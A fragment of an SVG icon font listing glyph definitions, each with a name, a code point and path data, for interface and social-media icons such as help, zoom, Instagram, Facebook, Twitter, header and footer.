<glyph glyph-name="help" unicode="&#xe941;" d="M104 579c42 71 96 125 167 167s146 62 229 62 158-20 229-62 125-96 167-167c42-71 62-146 62-229s-20-158-62-229c-42-71-96-125-167-167-71-42-146-62-229-62s-158 20-229 62c-71 42-125 96-167 167-41 71-62 146-62 229s21 158 62 229z m350-321h84l0 21c4 21 12 42 29 54l25 25c21 21 33 38 41 55s13 33 13 54c0 41-13 71-38 96s-62 33-108 33c-46 0-83-13-108-33s-42-55-42-96h96c0 16 4 29 17 41s25 9 41 9c34 0 50-17 50-54 0-13-4-25-8-34s-21-25-38-41c-20-17-33-34-41-55s-13-45-13-75z m-12-100c0-12 4-25 12-37 9-8 21-13 38-13s29 5 37 13c9 8 13 21 13 37 0 13-4 25-17 38-8 8-21 12-37 12s-30-4-38-12c0-13-8-25-8-38z" horiz-adv-x="1000" />

<glyph glyph-name="help-o" unicode="&#xe942;" d="M500-113c-254 0-462 209-462 463s208 463 462 463 463-209 463-463-209-463-463-463z m0 92c204 0 371 167 371 371s-167 371-371 371-371-167-371-371 167-371 371-371z m-46 279c0 30 4 55 13 71s21 38 41 54c21 17 34 34 38 42s8 21 8 33c0 38-16 55-50 55-16 0-29-5-37-17s-17-25-17-42h-96c0 42 13 75 42 96s62 33 108 33c46 0 84-12 109-33s37-54 37-96c0-16-4-37-12-54s-21-33-42-54l-25-25c-17-17-25-33-29-54l0-21h-88z m-12-100c0 13 4 25 16 38 9 8 21 12 38 12s29-4 37-12c9-8 17-21 17-38 0-12-4-25-12-37-9-8-21-13-38-13s-29 5-37 13c-17 8-21 21-21 37z" horiz-adv-x="1000" />

<glyph glyph-name="zoom-out-bold" unicode="&#xe943;" d="M750 167l196-196c17-17 17-50 0-67-17-17-50-21-67 0l-196 196c-66-54-150-83-245-83-217 0-396 179-396 396s179 395 396 395 395-179 395-395c0-92-33-175-83-246z m-454 291h279c25 0 46-20 46-50 0-25-21-45-46-45h-279c-25 0-46 20-46 45 0 30 21 50 46 50z m142-345c166 0 300 133 300 300s-134 300-300 300-300-134-300-300 133-300 300-300z" horiz-adv-x="1000" />

<glyph glyph-name="plus-square-o" unicode="&#xe944;" d="M867 717h-734v-730h730v730z m4 91c50 0 87-37 87-87v-746c0-46-37-88-87-88h-742c-50 5-87 42-87 92v742c0 50 37 87 87 87h742z m-421-412v175c0 25 21 46 46 46 29 0 46-17 46-46v-175h175c25 0 46-21 46-46s-21-46-46-46h-175v-175c0-25-21-46-46-46-25 0-46 21-46 46v175h-175c-25 0-46 21-46 46s21 46 46 46h175z" horiz-adv-x="1000" />

<glyph glyph-name="minus-square-o" unicode="&#xe945;" d="M867 717h-734v-730h730v730z m4 91c50 0 87-37 87-87v-746c0-46-37-88-87-88h-742c-50 5-87 42-87 92v742c0 50 37 87 87 87h742z m-592-504c-25 0-46 21-46 46s21 46 46 46h446c25 0 46-21 46-46s-21-46-46-46h-446z" horiz-adv-x="1000" />

<glyph glyph-name="minus-circle" unicode="&#xe946;" d="M104 579c42 71 96 125 167 167s146 62 229 62 158-20 229-62 125-96 167-167c42-71 62-146 62-229s-20-158-62-229c-42-71-96-125-167-167-71-42-146-62-229-62s-158 20-229 62c-71 42-125 96-167 167-41 71-62 146-62 229s21 158 62 229z m171-275h446c25 0 46 21 46 46s-21 46-46 46h-446c-25 0-46-21-46-46s21-46 46-46z" horiz-adv-x="1000" />

<glyph glyph-name="minus-circle-o" unicode="&#xe947;" d="M500-113c-254 0-462 209-462 463s208 463 462 463 463-209 463-463-209-463-463-463z m0 92c204 0 371 167 371 371s-167 371-371 371-371-167-371-371 167-371 371-371z m-221 325c-25 0-46 21-46 46s21 46 46 46h446c25 0 46-21 46-46s-21-46-46-46h-446z" horiz-adv-x="1000" />

<glyph glyph-name="code-bold" unicode="&#xe948;" d="M842 313l-125 125c-21 20-21 54 0 75 21 20 54 20 75 0l166-163c21-21 21-54 0-75l-166-171c-21-21-54-21-75 0s-21 54 0 75l125 134z m-388-359c-8-29-37-46-66-37-30 8-46 37-38 66l196 725c8 30 37 46 67 38 29-8 45-38 37-67l-196-725z m-166 225c20-21 20-54 0-75s-55-21-75 0l-167 171c-21 21-21 54 0 75l167 163c20 20 54 20 75 0 20-21 20-55 0-75l-125-125 125-134z" horiz-adv-x="1000" />

<glyph glyph-name="cloud-upload" unicode="&#xe949;" d="M779 425c100-8 179-92 179-192 0-108-87-195-191-195h-496c-125 0-229 104-229 233 0 121 87 221 204 233 50 96 146 159 254 159 138 0 254-100 279-238z m-366-96v-183c0-13 12-25 25-25h125c12 0 25 12 25 25v183h75c8 0 12 4 16 9 4 4 9 8 9 16 0 9-5 13-9 17l-162 162c-4 5-9 9-17 9s-12-4-17-9l-162-162c-4-4-8-8-8-17 0-8 4-12 8-16 4-5 8-9 17-9h75z" horiz-adv-x="1000" />

<glyph glyph-name="search-bold" unicode="&#xe94a;" d="M654 117c-62-46-137-71-216-71-205 0-367 162-367 367s162 366 367 366 366-162 366-366c0-84-25-159-71-217l163-163c21-20 21-54 0-75-21-21-54-21-75 0l-167 159z m-216 37c141 0 258 117 258 259s-117 258-258 258-259-117-259-258 117-259 259-259z" horiz-adv-x="1000" />

<glyph glyph-name="map-pin" unicode="&#xe94b;" d="M104 413c0 218 177 395 396 395s396-177 396-395c0-129-107-273-321-431-37-62-62-93-75-93s-37 31-75 93c-214 158-321 302-321 431z m396-125c69 0 125 55 125 125s-56 125-125 125-125-56-125-125 56-125 125-125z" horiz-adv-x="1000" />

<glyph glyph-name="meetup" unicode="&#xe94c;" d="M588 805c163 47 324-75 321-243 94-39 120-164 50-238 56-107 26-242-74-312-39-27-83-42-129-44-38-107-169-147-260-81-100-66-233-40-302 60-21 31-34 66-37 103-152 37-209 229-102 344-57 115 10 256 135 281 68 158 263 225 398 130z m-365-155l-4-11-11-1c-110-16-168-141-110-237l8-13-11-12c-102-94-51-267 85-289l16-3 0-16c2-35 12-69 32-98 56-82 166-103 248-48 2 2 3 3 5 5l3 2 0 0 14 11 12-11c73-64 188-29 212 66l4 15 16 0c43-2 84 10 120 35 87 62 111 182 55 273l-9 15 13 11c65 55 42 161-38 186l-16 5 1 15c12 151-133 262-278 214l-10-3-8 7c-116 89-294 27-349-118z m330-29c38 0 53-32 59-31 13 1 53 20 99 5 59-20 87-88 78-140s-26-92-69-171c-15-27-10-46 27-29 28 14 65-10 65-40 1-44-72-81-110-90-45-10-114-1-134 55-12 33-7 68 0 88 7 29 60 131 48 148-13 27-48-73-79-158-11-30-22-74-74-70-14 1-29 12-38 24-31 45 29 156 38 194 6 28-21 32-34 0-13-32-17-66-55-168-6-16-20-41-35-59-26-31-66-36-91-28-53 17-73 75-56 125 7 22 59 190 80 235 18 39 50 125 145 95 17-6 48-21 55-24 16-7 39 41 81 39z m-3-42c-4 1-9-2-19-10-2-2-15-13-20-16-17-13-35-18-56-8-16 8-39 18-50 22-36 11-56 0-76-35-3-6-6-12-10-19-2-5-8-18-9-20-6-14-18-48-34-94-2-7-2-7-4-15-8-24-17-49-25-76-5-16-9-30-14-45-10-33 2-64 29-73 14-4 35 1 46 15 11 13 23 34 28 47 13 36 23 64 31 91 4 13 14 48 16 54 3 9 5 16 8 24 12 29 36 50 66 49 38-3 56-38 47-74-2-8-5-18-10-32-2-4-11-29-14-36-5-13-9-24-12-35-10-32-11-53-8-58 3-4 8-7 7-7 13 0 17 3 25 23 1 4 8 22 7 20 2 6 5 13 9 26l4 9c18 51 30 79 41 102 7 17 15 29 23 37 23 23 59 22 77-8 17-27 10-48-17-114-2-5-2-5-4-10-24-58-22-50-24-59-6-19-7-41 0-60 9-26 47-38 85-29 37 8 79 38 78 49 0 0-5 4-5 4-35-17-66-19-86 12-15 23-10 47 5 74 40 74 55 111 63 159 7 36-16 81-50 92-16 5-33 5-53 0-3-1-14-4-13-4-7-1-12-2-17-3-14-1-23 3-32 11-3 2-4 4-7 7-5 5-6 6-8 7-5 5-9 6-18 6z" horiz-adv-x="1000" />

<glyph glyph-name="slideshow" unicode="&#xe94d;" d="M128 600h745c45 0 82-35 85-80l1-6v-557c0-46-35-83-80-86l-6-1h-745c-46 0-83 35-86 80l-1 6v558c0 46 35 83 80 86l7 0h745-745z m734-86h-724c-5 0-9-3-10-8l0-3v-536c0-5 3-9 8-10l2 0h724c5 0 9 3 10 8l1 2v536c0 6-5 11-11 11z m-227-124l3-2 166-166v-197h-608v135l75 75c8 8 20 9 29 3l3-3 75-75 227 228c8 8 21 9 30 2l0 0z m-367 53c39 0 71-33 71-72s-32-72-71-72-72 32-72 72 32 72 72 72z m565 274c23 0 42-19 42-42v-42h-750v42c0 23 19 42 42 42h666z m-125 116c23 0 42-18 42-41v-42h-500v42c0 23 19 41 42 41h416z" horiz-adv-x="1000" />

<glyph glyph-name="t-letter-bold" unicode="&#xe94e;" d="M925 808c18 0 33-14 33-33v-196c0-18-14-33-33-33h-65c-18 0-33 15-33 33v66h-245v-622h81c18 0 33-15 33-33v-66c0-18-14-33-33-33h-327c-18 0-33 15-33 33v66c0 18 15 33 33 33h82v622h-245v-66c0-18-15-33-33-33h-65c-18 0-33 15-33 33v196c0 18 14 33 33 33h850z" horiz-adv-x="1000" />

<glyph glyph-name="preferences" unicode="&#xe94f;" d="M246 333c67-29 142-33 208-4l13 4h25c4 0 12 0 16 0l-4-12 0 0c-8-25 0-50 21-67l4-4 13-8 0-4 0 0 0-5-13-8c-25-12-33-42-25-67 13-37 34-75 59-104 16-21 45-25 66-12l4 4 13 8 4-4 0 0 4-4v-13c0-4 0-12 4-16-8-9-20-13-33-13l-8 0h-525c-38 0-67 29-71 67l0 4v63c0 108 87 195 192 200l8 0h25z m471 125c33 9 66 9 100 0 4 0 8-4 8-8l0-4v-46c17-4 33-12 46-25l8-8 38 21c4 4 8 0 12-5 21-25 42-54 50-87 0-4 0-8-4-13l-4 0-38-20c5-17 5-38 0-55l0-12 38-21c4-4 8-8 4-12-8-34-25-63-50-88-4-4-8-4-12-4l-5 0-37 21c-13-13-29-21-46-29l-8-5v-45c0-5-4-9-9-13-33-8-66-8-100 0-4 0-8 4-8 8l0 5v45c-17 5-33 13-46 25l-8 9-38-21c-4-4-8 0-12 4-21 25-42 54-50 88 0 4 0 8 4 12l4 0 38 21c-4 17-4 37 0 54l0 13-38 20c-4 5-8 9-4 13 8 33 25 62 50 87 4 5 8 5 13 5l4 0 37-21c13 12 29 21 46 29l8 4v50c0 4 0 8 9 8z m75-154c-29 13-59 4-79-16-21-21-25-55-17-80 12-29 37-45 67-45 41 0 70 33 70 70 5 34-12 63-41 71z m-434 463c105 0 192-88 192-192s-87-192-192-192-191 84-191 192 83 192 191 192z" horiz-adv-x="1000" />

<glyph glyph-name="table-of-contents" unicode="&#xe950;" d="M854 850c34 0 63-29 63-62v-876c0-33-29-62-63-62h-708c-33 0-63 29-63 62v876c0 33 30 62 63 62h708z m21-208h-750v-730c0-8 8-16 17-20l4 0h708c9 0 17 8 21 16l0 4v730z m-604-584c12 0 21-8 21-20v-42c0-13-9-21-21-21h-42c-12 0-21 8-21 21v42c0 12 9 20 21 20h42z m500-20c12 0 21-9 21-21s-9-21-21-21h-417c-12 0-21 8-21 21s9 21 21 21h417z m-500 187c8 0 17-8 21-17l0-4v-41c0-9-9-17-17-21l-4 0h-42c-8 0-16 8-21 16l0 5v41c0 9 9 17 17 21l4 0h42z m500-21c12 0 21-8 21-21 0-8-9-16-17-20l-4 0h-417c-12 0-21 8-21 20 0 9 9 17 17 21l4 0h417z m-500 188c12 0 21-9 21-21v-42c0-12-9-21-21-21h-42c-12 0-21 9-21 21v42c0 12 9 21 21 21h42z m500-21c12 0 21-8 21-21s-9-21-21-21h-417c-12 0-21 9-21 21s9 21 21 21h417z m-500 187c8 0 17-8 21-16l0-4v-42c0-8-9-17-17-21l-4 0h-42c-8 0-16 8-21 17l0 4v42c0 8 9 16 17 20l4 0h42z m500-20c12 0 21-9 21-21 0-9-9-17-17-21l-4 0h-417c-12 0-21 8-21 21 0 8 9 16 17 21l4 0h417z m83 270h-708c-8 0-17-8-21-16l0-4v-105h750v105c0 8-8 16-21 20l0 0z" horiz-adv-x="1000" />

<glyph glyph-name="tv" unicode="&#xe951;" d="M875 725c46 0 79-33 83-79l0-4v-417c0-46-33-79-79-83l-4 0h-333v-75h250c25 0 41-17 41-42 0-21-16-38-37-42l-4 0h-584c-25 0-41 17-41 42 0 21 16 38 37 42l4 0h250v75h-333c-46 0-79 33-83 79l0 4v417c0 46 33 79 79 83l4 0h750z m0-83h-750v-417h750v417z" horiz-adv-x="1000" />

<glyph glyph-name="upload" unicode="&#xe952;" d="M883 308h-229v50h100c67 0 104 84 54 130l-254 254c-29 29-79 29-108 0l-254-250c-46-46-13-129 54-129h100v-55h-229c-42 0-75-33-75-75v-204c0-42 33-75 75-75h762c42 0 75 33 75 75v204c4 42-29 75-71 75z m-637 130l254 254 254-254h-179v-255h-154v255h-175z m637-409h-766v204h229v-50c0-41 33-75 75-75h154c42 0 75 34 75 75v50h229v-204z m-66 100c0-21-17-37-38-37-21 0-37 16-37 37 0 21 16 38 37 38 21 0 38-17 38-38z" horiz-adv-x="1000" />

<glyph glyph-name="instagram-comments" unicode="&#xe953;" d="M804 258c21 42 29 88 29 134 0 183-158 333-354 333-196 0-354-150-354-333 0-184 158-334 354-334 50 0 100 13 146 30l50-9 175-41c0 0 4 0 4 4l-50 216z" horiz-adv-x="1000" />

<glyph glyph-name="instagram-nested-gallery" unicode="&#xe954;" d="M792 642c50-38 83-100 83-167v-292c0-116-92-208-208-208h-292c-67 0-129 33-167 83h417c92 0 167 75 167 167v417z m-209 83c67 0 121-50 125-117l0-8v-333c0-67-50-121-116-125l-9 0h-333c-67 0-121 50-125 116l0 9v333c0 67 50 121 117 125l8 0h333z" horiz-adv-x="1000" />

<glyph glyph-name="instagram-post" unicode="&#xe955;" d="M838 225l0 0c12-4 20-12 20-21l0-4-66-279c-4-13-13-17-25-17-9 4-17 13-17 21l0 4 67 279c0 13 8 17 21 17z m-96 542c54 0 91-46 91-100v-338c0-12-8-21-20-21s-21 9-21 21v338c0 33-21 58-50 58h-650c-29 0-50-25-50-58v-634c0-33 21-58 50-58h387c13 0 21-8 21-21s-8-21-21-21h-387c-54 0-92 46-92 100v634c0 54 38 100 92 100h650z m-75-629c8 8 21 8 29 0 8-9 8-17 4-25l-4-5-63-66 63-67c8-8 8-21 0-29-4-4-8-4-13-4-4 0-8 0-12 4l-4 0-79 83c-9 9-9 17-5 25l5 4 79 80z m221 0c8 8 16 8 25 4l4-4 79-84c8-8 8-16 4-25l-4-4-79-83c-4-5-9-5-13-5-4 0-8 0-12 5-9 8-9 16-4 25l4 4 62 67-62 66c-9 13-9 25-4 34z m-384 441c79 0 142-62 142-141v-180c0-79-63-141-142-141h-175c-79 0-141 62-141 141v180c0 79 62 141 141 141h175z m0-41h-175c-54 0-100-46-100-100v-180c0-54 46-100 100-100h179c55 0 100 46 100 100v180c-4 54-50 100-104 100z m-87-67c66 0 121-54 121-121s-55-121-121-121c-67 0-121 54-121 121s54 121 121 121z m0-42c-42 0-79-33-79-79s37-79 79-79c41 0 79 33 79 79s-38 79-79 79z m129 63c17 0 29-13 29-29 0-17-12-30-29-30-17 0-29 13-29 30 0 16 12 29 29 29z" horiz-adv-x="1000" />

<glyph glyph-name="instagram-video" unicode="&#xe956;" d="M625 683c46 0 79-33 83-79l0-4v-500c0-46-33-79-79-83l-4 0h-500c-46 0-79 33-83 79l0 4v500c0 46 33 79 79 83l4 0h500z m-250-104c-125 0-229-104-229-229 0-125 104-229 229-229 125 0 229 104 229 229 0 125-104 229-229 229z m583 21v-479h-16c-75 0-129 46-146 67l-4 8v329l4 4c17 25 71 71 146 71h16z m-583-125c71 0 125-54 125-125s-54-125-125-125c-71 0-125 54-125 125s54 125 125 125z" horiz-adv-x="1000" />

<glyph glyph-name="instagram-gallery" unicode="&#xe957;" d="M817 350c75 0 137-58 141-133l0-9v-179c0-75-58-137-133-142l-8 0h-179c-75 0-138 59-142 134l0 8v179c0 75 58 138 133 142l9 0h179z m0-42h-179c-50 0-96-41-100-91l0-9v-179c0-50 41-96 91-100l9 0h179c50 0 96 42 100 92l0 8v179c0 50-42 96-92 100l-8 0z m-88-66c67 0 121-54 121-121s-54-121-121-121-121 54-121 121 55 121 121 121z m-521 25c25 0 42-17 42-42v-167c0-25-17-41-42-41h-166c-25 0-42 16-42 41v167c0 25 17 42 42 42h166z m242 0c13 0 21-9 21-21 0-8-8-17-17-21l-4 0h-117v-167h117c13 0 21-8 21-20 0-9-8-17-17-21l-4 0h-117c-20 0-37 16-41 37l0 4v167c0 21 16 38 37 42l4 0h117z m279-67c-41 0-79-33-79-79 0-42 33-79 79-79s79 33 79 79c0 42-37 79-79 79z m-521 25h-166v-167h166v167z m650 38c17 0 30-13 30-30 0-16-13-29-30-29s-29 13-29 29c0 17 13 30 29 30z m-650 295c25 0 42-16 42-41v-167c0-25-17-42-42-42h-166c-25 0-42 17-42 42v167c0 25 17 41 42 41h166z m292 0c25 0 42-16 42-41v-134c0-12-9-20-21-20s-21 12-21 20v134h-167v-167h125c13 0 21-8 21-21s-8-21-21-21h-125c-25 0-41 17-41 42v167c0 25 16 41 41 41h167z m-292-41h-166v-167h166v167z m584 41c25 0 41-16 41-41v-109c0-12-8-20-20-20s-21 8-21 20v109h-167v-109c0-12-8-20-21-20s-21 8-21 20v109c0 25 17 41 42 41h167z m-584 292c25 0 42-17 42-42v-166c0-25-17-42-42-42h-166c-25 0-42 17-42 42v166c0 25 17 42 42 42h166z m292 0c21 0 38-17 42-37l0-5v-166c0-21-17-38-38-42l-4 0h-167c-20 0-37 17-41 38l0 4v166c0 21 16 38 37 42l4 0h167z m292 0c21 0 37-17 41-37l0-5v-166c0-21-16-38-37-42l-4 0h-167c-21 0-37 17-42 38l0 4v166c0 21 17 38 38 42l4 0h167z m-584-42h-166v-166h166v166z m292 0h-167v-166h167v166z m292 0h-167v-166h167v166z" horiz-adv-x="1000" />

<glyph glyph-name="instagram-likes" unicode="&#xe958;" d="M846 538c-71 208-300 166-346 41-42 125-271 167-346-41-62-188 188-417 346-521 158 104 408 333 346 521z" horiz-adv-x="1000" />

<glyph glyph-name="facebook" unicode="&#xe959;" d="M858 808h-716c-54 0-100-45-100-100v-721c0-50 46-95 100-95h279v312h-129v146h129v113c0 129 75 195 192 195 54 0 112-8 112-8v-125h-62c-63 0-84-37-84-79v-96h142l-21-146h-117v-312h280c54 0 100 45 100 100v716c-5 55-50 100-105 100l0 0z" horiz-adv-x="1000" />

<glyph glyph-name="twitter" unicode="&#xe95a;" d="M863 538c0-9 0-17 0-25 0-250-188-534-534-534-108 0-204 29-287 84 16 0 29-5 46-5 87 0 166 30 233 80-83 0-150 54-175 129 12 0 25-4 37-4 17 0 34 4 50 8-87 17-150 92-150 183v9c25-13 55-21 84-25-50 33-84 91-84 158 0 33 9 67 25 96 92-113 234-188 388-196-4 12-4 29-4 42 0 104 83 187 187 187 54 0 104-21 138-58 41 8 83 25 121 46-13-42-42-80-84-105 38 5 75 13 109 30-30-38-63-71-100-100z" horiz-adv-x="1000" />

<glyph glyph-name="pinterest" unicode="&#xe95b;" d="M950 354c0-250-204-454-454-454-46 0-92 8-133 21 16 29 45 79 58 121 4 21 29 108 29 108 17-29 58-54 104-54 138 0 238 125 238 283 0 150-121 263-279 263-196 0-300-134-300-275 0-67 37-150 91-175 9-4 13-4 17 4 0 4 8 37 12 50 0 4 0 8-4 12-16 25-33 67-33 105-8 100 71 195 200 195 112 0 192-75 192-183 0-125-63-208-142-208-46 0-79 37-67 83 13 54 38 113 38 150 0 33-17 63-59 63-45 0-83-46-83-109 0-41 13-66 13-66s-46-192-55-225c-8-38-4-96 0-130-170 63-291 230-291 421 0 250 204 454 454 454s454-204 454-454z" horiz-adv-x="1000" />

<glyph glyph-name="frame-expand" unicode="&#xe95c;" d="M863 267c27 0 51-22 53-49l1-5v-226l-1-5c-2-25-23-46-48-48l-5-1h-225l-6 1c-25 2-46 23-48 48l-1 5 1 6c2 25 23 46 48 48l6 1h170v171l1 5c2 27 26 49 54 49z m-725 0c27 0 51-22 53-49l1-5v-171h171c27 0 51-22 53-49l1-6c0-27-22-51-49-53l-5-1h-225c-28 0-52 22-54 49l-1 5v226c0 30 25 54 55 54z m725 500c27 0 51-22 53-49l1-5v-225c0-30-24-55-54-55-28 0-52 22-54 49l-1 6v170h-170c-28 0-52 22-54 49l-1 6c0 27 22 51 49 53l6 1h225z m-500 0l5-1c25-2 46-23 48-48l1-5-1-6c-2-25-23-46-48-48l-5-1h-171v-170l-1-6c-2-27-26-49-53-49s-52 22-54 49l-1 6v225l1 5c2 25 23 46 48 48l6 1h225z" horiz-adv-x="1000" />

<glyph glyph-name="frame-minimize" unicode="&#xe95d;" d="M363 267c29 0 50-21 54-50l0-4v-226c0-29-25-54-54-54-30 0-50 21-55 50l0 4v171h-170c-30 0-50 21-55 50l0 5c0 29 21 50 50 54l5 0h225z m275 0c-30 0-50-21-55-50l0-4v-226c0-29 25-54 55-54 29 0 50 21 54 50l0 4v171h171c29 0 50 21 54 50l0 5c0 29-21 50-50 54l-4 0h-225z m-275 166c29 0 50 21 54 50l0 5v225c0 29-25 54-54 54-30 0-50-21-55-50l0-4v-171h-170c-30 0-50-21-55-50l0-4c0-30 21-50 50-55l5 0h225z m275 0c-30 0-50 21-55 50l0 5v225c0 29 25 54 55 54 29 0 50-21 54-50l0-4v-171h171c29 0 50-21 54-50l0-4c0-30-21-50-50-55l-4 0h-225z" horiz-adv-x="1000" />

<glyph glyph-name="archive" unicode="&#xe95e;" d="M896 788c54 0 100-38 104-88l0-8v-688c0-50-42-92-96-92l-8 0h-792c-54 0-100 38-104 88l0 8v688c0 50 42 92 96 92l8 0h792z m0-42h-792c-33 0-58-21-62-46l0-4v-688c0-25 25-50 58-50l4 0h792c33 0 58 21 62 46l0 4v688c0 25-25 50-58 50l-4 0z m-667-554c13 0 21-9 21-21v-83c0-13-8-21-21-21h-83c-13 0-21 8-21 21v83c0 12 8 21 21 21h83z m209-84c12 0 20-8 20-20 0-13-8-21-20-21h-125c-13 0-21 8-21 21 0 12 8 20 21 20h125z m208 84c12 0 21-9 21-21v-83c0-13-9-21-21-21h-83c-13 0-21 8-21 21v83c0 12 8 21 21 21h83z m208-84c13 0 21-8 21-20 0-13-8-21-21-21h-125c-12 0-21 8-21 21 0 12 9 20 21 20h125z m-646 42h-41v-42h41v42z m417 0h-42v-42h42v42z m-187 42c12 0 20-9 20-21 0-13-8-21-20-21h-125c-13 0-21 8-21 21 0 12 8 21 21 21h125z m416 0c13 0 21-9 21-21 0-13-8-21-21-21h-125c-12 0-21 8-21 21 0 12 9 21 21 21h125z m-625 208c13 0 21-8 21-21v-83c0-13-8-21-21-21h-83c-13 0-21 8-21 21v83c0 13 8 21 21 21h83z m209-83c12 0 20-9 20-21s-8-21-20-21h-125c-13 0-21 8-21 21s8 21 21 21h125z m208 83c12 0 21-8 21-21v-83c0-13-9-21-21-21h-83c-13 0-21 8-21 21v83c0 13 8 21 21 21h83z m208-83c13 0 21-9 21-21s-8-21-21-21h-125c-12 0-21 8-21 21s9 21 21 21h125z m-646 41h-41v-41h41v41z m417 0h-42v-41h42v41z m-187 42c12 0 20-8 20-21s-8-21-20-21h-125c-13 0-21 9-21 21s8 21 21 21h125z m416 0c13 0 21-8 21-21s-8-21-21-21h-125c-12 0-21 9-21 21s9 21 21 21h125z m-625 208c13 0 21-8 21-20v-84c0-12-8-21-21-21h-83c-13 0-21 9-21 21v84c0 12 8 20 21 20h83z m209-83c12 0 20-8 20-21s-8-21-20-21h-125c-13 0-21 9-21 21s8 21 21 21h125z m208 83c12 0 21-8 21-20v-84c0-12-9-21-21-21h-83c-13 0-21 9-21 21v84c0 12 8 20 21 20h83z m208-83c13 0 21-8 21-21s-8-21-21-21h-125c-12 0-21 9-21 21s9 21 21 21h125z m-646 42h-41v-42h41v42z m417 0h-42v-42h42v42z m-187 41c12 0 20-8 20-20 0-13-8-21-20-21h-125c-13 0-21 8-21 21 0 12 8 20 21 20h125z m416 0c13 0 21-8 21-20 0-13-8-21-21-21h-125c-12 0-21 8-21 21 0 12 9 20 21 20h125z" horiz-adv-x="1000" />

<glyph glyph-name="colors-typography" unicode="&#xe95f;" d="M896 808c55 0 100-41 104-93l0-7v-757c0-54-43-97-97-101l-7 0h-792c-55 0-100 41-104 94l0 6v758c0 53 43 97 98 100l6 0h792z m62-208h-916v-650c0-30 24-55 56-58l6 0h792c32 0 59 23 62 53l0 6v649z m-333-642c-5 0-9 2-13 5l-2 2-2 2-1-2c-2-3-5-5-8-5l-4-1-3-1h-84c-10 0-18 8-20 17l0 4v167c0 46 35 84 81 87l6 0 59 0-13 80c0 35 25 64 59 70l5 0 7 1c37 0 67-29 70-68l0-6-12-76 58 0c45 0 81-33 87-75l1-6 0-7v-166c0-11-7-19-17-21l-4-1h-250z m229 134h-325v-92h46l13 51c5 18 28 21 37 7l2-3 1-4 13-51h47v46c0 12 9 21 20 21 11 0 19-8 21-17l0-4v-46h42v46c0 12 9 21 21 21 10 0 18-8 20-17l1-4v-46h41v92z m-312 425c10 0 18-8 20-17l1-4v-99c0-27-38-28-42-4l-1 7c-1 8-7 14-15 15l-3 1-118 0 0-297c0-8 5-15 12-17l4-1 8-1c20-4 21-33 3-40l-3-1-5-1h-139l-4 1c-22 4-22 37 0 41l8 0c7 2 13 8 15 15l0 4 0 296-118 0c-8 0-15-5-17-12l-1-3-1-8c-4-22-37-22-41 0l0 4v100c0 10 7 19 17 20l3 1h417z m-21-42h-375v-21l2 1 5 1 0 0 6 1 6 0h138c11 0 19-7 21-17l0-4v-317c0-4 0-8-1-12l-1-5-1-2h24l0 2-2 5 0 0 0 6-1 6v317c0 11 8 19 17 21l4 0h139c3 0 8 0 11-1l6-1 2-1v21z m171-133c-15 0-27-11-29-22l-1-4 17-100c2-11-6-22-17-23l-4-1h-83c-24 0-43-18-45-41l-1-5v-13h325v13c0 22-15 40-36 44l-5 1-5 1h-83c-12 0-21 9-21 20l1 4 16 97c0 16-13 29-29 29z m204 425h-792c-32 0-59-24-62-54l0-5v-66h916v66c0 30-24 56-56 59l-6 0z m-771-63c0-11-9-21-21-21s-21 10-21 21 10 21 21 21 21-9 21-21m83 0c0-11-9-21-20-21s-21 10-21 21 9 21 21 21 20-9 20-21m84 0c0-11-9-21-21-21-12 0-21 10-21 21s9 21 21 21c12 0 21-9 21-21" horiz-adv-x="1000" />

<glyph glyph-name="custom" unicode="&#xe960;" d="M896 788c54 0 100-38 104-87l0-7v-688c0-50-43-90-97-93l-7-1h-792c-54 0-100 38-104 87l0 7v688c0 50 43 90 97 93l7 1h792z m0-42h-792c-33 0-59-21-62-47l0-5v-688c0-26 24-49 56-51l6-1h792c33 0 59 21 62 47l0 5v688c0 26-24 49-56 51l-6 1z m-549-87l3-3 150-150 135 136c14 13 30 20 48 21l7 0c15-1 30-7 42-17l5-4 55-56c26-26 28-68 4-96l-4-5-136-135 150-150c7-7 8-18 3-27l-3-3-126-126c-7-7-19-8-27-3l-3 3-150 150-100-100c-1-1-2-2-4-3l-3-1 0 0-1-1-178-51c-14-4-28 8-26 23l1 3 51 179 0 0 1 3 0 0 2 2 0 0 2 2 99 100-150 150c-7 7-8 18-3 27l3 3 126 126c8 8 19 9 27 3z m280-339l-98-97 136-135 97 97-9 9-23-24c-8-8-21-8-30 0-7 8-7 19-2 27l2 3 24 23-9 9-10-11c-9-8-22-8-30 0-7 7-8 19-2 27l2 3 10 11-8 8-24-23c-8-8-21-8-29 0-7 7-8 18-3 27l3 3 23 23-20 20z m-358-124l-31-107 108 31-77 76z m417 425l-5-1c-4 0-9-2-13-5l-3-3-377-377 98-97 376 376c5 5 8 11 8 17l1 4c0 7-2 13-6 18l-3 4-55 55c-4 4-10 7-17 8l-4 1z m44-41c8-7 8-18 3-26l-3-3-355-355c-8-8-21-8-29 0-7 7-8 18-3 27l3 2 355 355c8 8 21 8 29 0z m-395 32l-97-97 135-135 98 97-21 21-24-23c-8-8-21-8-29 0-7 7-8 18-3 27l3 3 23 23-9 9-10-11c-8-8-21-8-30 0-7 7-8 18-2 27l2 2 11 11-9 9-23-24c-8-8-21-8-30 0-7 7-7 18-2 27l2 2 24 24-9 8z" horiz-adv-x="1000" />

<glyph glyph-name="footer" unicode="&#xe961;" d="M896 788c58 0 104-42 104-92v-688c0-54-46-91-104-91h-792c-58 0-104 41-104 91v688c0 54 46 92 104 92h792z m62-667h-916v-117c0-29 29-50 62-50h792c33 0 62 25 62 50v117z m-62 625h-792c-33 0-62-25-62-50v-533h916v533c0 25-29 50-62 50z" horiz-adv-x="1000" />

<glyph glyph-name="header" unicode="&#xe962;" d="M896 788c54 0 100-38 104-88l0-8v-688c0-50-42-92-96-92l-8 0h-792c-54 0-100 38-104 88l0 8v688c0 50 42 92 96 92l8 0h792z m62-209h-916v-575c0-25 25-50 58-50l4 0h792c33 0 58 21 62 46l0 4v575z m-62 167h-792c-33 0-58-21-62-46l0-4v-75h916v75c0 25-25 50-58 50l-4 0z" horiz-adv-x="1000" />

